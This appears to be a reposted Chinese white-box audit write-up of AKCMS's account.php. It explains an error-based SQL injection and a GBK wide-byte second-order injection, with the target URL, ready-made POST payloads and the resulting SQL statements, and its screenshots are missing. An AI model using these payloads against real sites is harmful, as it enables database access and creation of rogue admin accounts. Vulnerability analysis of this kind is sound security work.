本篇文章由团队成员提供:HeiHu577

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。RedCode Team 拥有对此文章的修改和解释权如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

0x00 安装

首先下载这个Cms光从安装向导就发现了一个敏感的玩意。

打开网易新闻 查看精彩图片

网站Mysql默认采用 Gbk 编码,这会造成宽字节注入漏洞。

随后简单分析了一下这套CMS。看了一下运行流程。关于MVC的东西这里就不再说明了。

0x01 漏洞源头

漏洞文件:akcms/account.php

漏洞URL:

akcms/index.php?file=account&action=manageaccounts&job=newaccount

Payload:

报错注入,POST发送:account=12' or updatexml(1,concat(1,user()),1) -- &password=12

二次注入,POST发送:account=1'# %df',123),(user(),123)# &password=1

0x02 代码分析

akcms/account.php文件的第70-76行

打开网易新闻 查看精彩图片

71行有查询操作,可以看到被引号所包裹,接收POST居然无任何过滤。但是有一定局限性,因为这里是用if语句进行判断然后走分支,所以没有回显。

但是如果报错开启的情况下我们可以进行报错注入。

看一下 get_by成员方法

打开网易新闻 查看精彩图片

Get_by方法没有进行任何过滤操作。

构造Payload:

account=12' or updatexml(1,concat(1,user()),1) -- &password=12

结果:

打开网易新闻 查看精彩图片

但是没有开启报错注入情况下呢,我们把目光放在76行的插入操作。

打开网易新闻 查看精彩图片

$value = array('editor' => $post_account,'password' => ak_md5($post_password, 0, 2)$db->insert('admins', $value);

76行进行了插入操作,(为了实现后台添加管理员账号密码)

再来看一下insert成员方法

打开网易新闻 查看精彩图片

Insert方法将传递过去的数据进行addslashes引号转义,如果站长使用默认GBK形式的话,我们可以进行使用宽字节注入进行绕过。

foreach($values as $key => $value) {$keysql .= "`$key`,";$valuesql .= "'".$this->addslashes($value)."',";

现在我们可控点如下:

INSERT INTO `ak_admins`(`editor`,`password`)VALUES('xxxx','c8b2f17833a4c73bb20f88876219ddcd')

有addslashes防御,根据语句我们想到可以这样构造Payload:

1%df',1),(user(),2) --INSERT INTO `ak_admins`(`editor`,`password`)VALUES('1%df',1),(user(),2) -- ','c8b2f17833a4c73bb20f88876219ddcd')

按道理,我们是可以插入进去两条数据的,一条为1,一条为数据库user函数的返回值。

但是意外却出现了,如图:

打开网易新闻 查看精彩图片

前面的SELECT查询语句把我们的Payload给暂停了,那么现在就有点意思了。我们非要进行二次注入。那就得绕过。

首先可控点1:SELECT * FROM 表 WHERE 字段='可控'

可控点2:INSERT INTO 表(字段1,字段2) VALUES('可控',一堆MD5…)

首先SELECT语句如果出现语法错误,那么就不会继续往下执行,所以我们构造Payload:

1'# %df',123),(user(),123)#

则可控点1 成为了

SELECT * FROM 表 WHERE 字段='1'# %df',123),(user(),123)#

#把后面的语句全都注释了,那么我们再来看一下可控点2

INSERT INTO 表(字段1,字段2) VALUES('\'# %df',123),(user(),123)#',一堆MD5…)

因为可控点2有addslashes转义操作,所以我们的第一个引号被转义,第二个引号我们使用%df进行宽字节注入,逃逸addslashes,之后的语句就是插入的第二条数据,(user(),123),会往数据库插入一条用户名为user函数返回值,密码为123的数据。如图:

打开网易新闻 查看精彩图片

整个漏洞详细过程圆满结束。

打开网易新闻 查看精彩图片

0x03 挖掘后事

对这次白盒审计感觉站长还是考虑的不到位,居然默认支持GBK编码,第一个报错注入居然没有任何过滤操作,导致我们可以直接闭合,发送我们喜爱的SQL语句。第二个二次注入我们可以直接利用GBK来进行宽字节注入,也可以发送我们喜爱的SQL语句。作者给了我们喜爱的SQL注入,我们该不该喜爱写BUG的站长?